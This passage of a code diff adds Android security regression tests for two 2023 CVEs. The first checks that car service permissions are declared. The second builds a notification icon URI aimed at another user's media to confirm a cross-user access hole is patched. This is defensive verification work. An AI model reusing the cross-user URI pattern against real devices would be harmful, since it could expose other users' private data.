+ .isFalse();
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_20927.java b/tests/tests/security/src/android/security/cts/CVE_2023_20927.java
new file mode 100644
index 00000000000..8b9f4949d0a
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_20927.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_20927 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 244216503)
+ @Test
+ public void testPocCVE_2023_20927() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager pm = context.getPackageManager();
+
+ // Skip test for non-automotive builds
+ assumeTrue(
+ "Skipping test: " + PackageManager.FEATURE_AUTOMOTIVE + " missing",
+ pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
+ // Permissions added in com.android.car package as a part of the fix
+ List<String> missingPermissions = new ArrayList<String>();
+ missingPermissions.add("android.car.permission.BIND_PROJECTION_SERVICE");
+ missingPermissions.add("android.car.permission.BIND_VMS_CLIENT");
+ missingPermissions.add(
+ "android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE");
+ missingPermissions.add("android.car.permission.BIND_CAR_INPUT_SERVICE");
+
+ // Fetch the permission of com.android.car package
+ final String pkgName = "com.android.car";
+ PackageInfo info = pm.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS);
+ assumeTrue(
+ "Package info for " + pkgName + " not fetched properly!! ",
+ info.packageName.equals(pkgName) && info.coreApp);
+ PermissionInfo[] permissionArray = info.permissions;
+ if (permissionArray != null) {
+ for (PermissionInfo perm : permissionArray) {
+ if (missingPermissions.contains(perm.name)) {
+ missingPermissions.remove(perm.name);
+ }
+ }
+ }
+
+ // Fail if any of the 4 permissions is missing
+ assertTrue(
+ "Vulnerable to b/244216503!"
+ + missingPermissions.toString()
+ + " missing in"
+ + " CarService.apk",
+ missingPermissions.size() == 0);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_21283.java b/tests/tests/security/src/android/security/cts/CVE_2023_21283.java
new file mode 100644
index 00000000000..dc3761d6131
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_21283.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.ContentProvider;
+import android.content.Context;
+import android.graphics.drawable.Icon;
+import android.os.UserManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.telecom.StatusHints;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_21283 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 280797684)
+ @Test
+ public void testPocCVE_2023_21283() {
+ try {
+ // Check if the device supports multiple users or not
+ Context context = getContext();
+ assume().withMessage("This device does not support multiple users")
+ .that(context.getSystemService(UserManager.class).supportsMultipleUsers())
+ .isTrue();
+
+ // Create StatusHints object with an icon specified by URI associated with target user.
+ int targetUserId = context.getUserId() + 1;
+ StatusHints hints =
+ new StatusHints(
+ "CVE_2023_21283_user",
+ Icon.createWithContentUri(
+ ContentProvider.maybeAddUserId(
+ EXTERNAL_CONTENT_URI, targetUserId)),
+ null);
+
+ // With fix, getIcon() returns null.
+ assertWithMessage("Vulnerable to b/280797684").that(hints.getIcon()).isNull();
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}